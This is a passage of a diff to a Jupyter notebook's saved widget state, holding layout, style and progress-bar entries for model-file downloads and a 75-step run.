"@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2e922ee442bc49f8b0d7d4bd79d92683": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2e945d3f81204a538874a0a832102d15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "2f1c260b17204c08870bac68408944c4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5896923dddc0466a9023c09c738f404a", + "placeholder": "​", + "style": "IPY_MODEL_f874ed5ecd6f4eed976ed24b0be4ae51", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "2f972961c0eb411ca45b8af05cc05e3b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c826a36c99ae462abccdc59266c404d3", + "placeholder": "​", + "style": "IPY_MODEL_5ef86b91d359434a9aa4787dc727cb1b", + "value": " 348/348 [00:00<00:00, 1.79kB/s]" + } + }, + "3119598ffcab4d6f9d1642ee595736ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "341fa26d73394e6cb71498a9c95b458c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3672f34ff79b417abb390592a3b9ed2b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "37e24969e35c4099933ab57fac8b2599": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d3165abbffbc4da3bd4f0cb6f3437140", + "max": 1361597018, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5a1be5246f2443858bd6933a89a68389", + "value": 1361597018 + } + }, + "37e74a92120d40ab99b8a3efeb397bd8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3943882166bb4470a800d9563f9e53a2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "396aee75c5954aa9b634d79c18177977": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3c4dca0b51954031905bada22feef684": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4178b1767a614f89aa62f12a4e3a7350": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c909bafccc65402fa93afea87f1b784e", + "IPY_MODEL_6c32232cfb734ac3a3204a22c414fc18", + "IPY_MODEL_1f37677826544166a0b63d36c9c3edac" + ], + "layout": "IPY_MODEL_a4d93e9fee48468281afac25f551806c" + } + }, + "417a14ed83ba4535bf47a39b9298aa4f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "419cb861b6e84999a3708fd19b0295c6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2e922ee442bc49f8b0d7d4bd79d92683", + "placeholder": "​", + "style": "IPY_MODEL_4d9d00362c1c4f48b5cddc1783956732", + "value": " 13/13 [00:50<00:00, 4.61s/it]" + } + }, + "42248bb1fb38481eaa292dbca2d68e38": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44480a036c3c4442baa95d6288e83546": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_520e09d44ecf488b93694eebe4a02147", + "max": 300, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5959385589b344b2bd8fc108067db8a3", + "value": 300 + } + }, + "45148fd42fdb47b3a5424faa3c488c25": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4d9d00362c1c4f48b5cddc1783956732": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "502d0b0ef4c549b485c049a2dae9b4f1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f931614414ba46adaab4c0522e65ebf8", + "placeholder": "​", + "style": "IPY_MODEL_e926a97d3f6149318dd6f01d17e90dd5", + "value": "Fetching 13 files: 100%" + } + }, + "50949912a3ee403e8ddb328e62b61c0d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b5a46aec8d594d02b618b9d59e4f4518", + "placeholder": "​", + "style": "IPY_MODEL_9ee85e252d32428ea44a91c71cd62a36", + "value": " 300/300 [00:00<00:00, 1.73kB/s]" + } + }, + "518150c24b25401d92cf483e5ecb0253": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "520e09d44ecf488b93694eebe4a02147": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "53fa5e54123446199d57c27c3ee8b091": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c8ba37c669974bbea2face17223d2bb4", + "placeholder": "​", + "style": "IPY_MODEL_c87c0b939bbe4e56b46fca4aa580f75a", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "5896923dddc0466a9023c09c738f404a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "58aa60b3b1af45d2bdd8870dedd3cb67": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e76b29381c114f808b3454fb122e8d10", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a1d133bc8fe344e2aed80fe5155177c3", + "value": 1059962 + } + }, + "58bccc7add0a45d8b8640c42d89a864c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5959385589b344b2bd8fc108067db8a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "59b6eeeaf9464da891bf214ef1bbb7c2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5a1be5246f2443858bd6933a89a68389": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "5af1c44c0f434510abd7fe9d76f263da": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5b3ca63a1af5452cb81fde6020fd9c53": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "5b74c15d312f404e88323771b08b0aeb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a25cd36e4deb410f9ee54a92a18c939c", + "max": 982, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_00cdbd64ce7d4b5a835a550ffc6b3510", + "value": 982 + } + }, + "5b89e69b011a40918b1acc0adf141874": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1e276839600443fa82ca0ab00409fd99", + "placeholder": "​", + "style": "IPY_MODEL_639d147ac3674094be21de9f3c11477c", + "value": " 75/75 [00:46<00:00, 1.62it/s]" + } + }, + "5d1c6a49ce6f4596946a2fd91bec3312": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_085ee070cea44624806bcc7ada5ae36e", + "placeholder": "​", + "style": "IPY_MODEL_45148fd42fdb47b3a5424faa3c488c25", + "value": " 825/825 [00:00<00:00, 6.91kB/s]" + } + }, + "5d3f04417ce64f80a2843e74bf6208f7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5ef86b91d359434a9aa4787dc727cb1b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6030f4bc6af8461abdc66e4599ef3f1f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_818b00fb8ff04eadb9ccd1bdfe192807", + "IPY_MODEL_44480a036c3c4442baa95d6288e83546", + "IPY_MODEL_50949912a3ee403e8ddb328e62b61c0d" + ], + "layout": "IPY_MODEL_8dd862f24b164fc68664c30b3d241e62" + } + }, + "622d32a9bbda46fca3ee0733be303765": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "62bd9e1add374b9e90c54275bd2e0449": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0d89ddfa9593441097ce8e42614ef775", + "IPY_MODEL_e85ceff770654ef1bd935f54ca32ee07", + "IPY_MODEL_d0716d01bfdf43ba88f8bbfd63d3285a" + ], + "layout": "IPY_MODEL_f6579ff0c08648309711a654ec3de748" + } + }, + "634af1f0b6894726bebb7b546c667169": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6a72b26cbdf041e7a8331fdc1642dee5", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3c4dca0b51954031905bada22feef684", + "value": 75 + } + }, + "639d147ac3674094be21de9f3c11477c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "639d6afb1b0440f98ce7e26cb621a111": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + 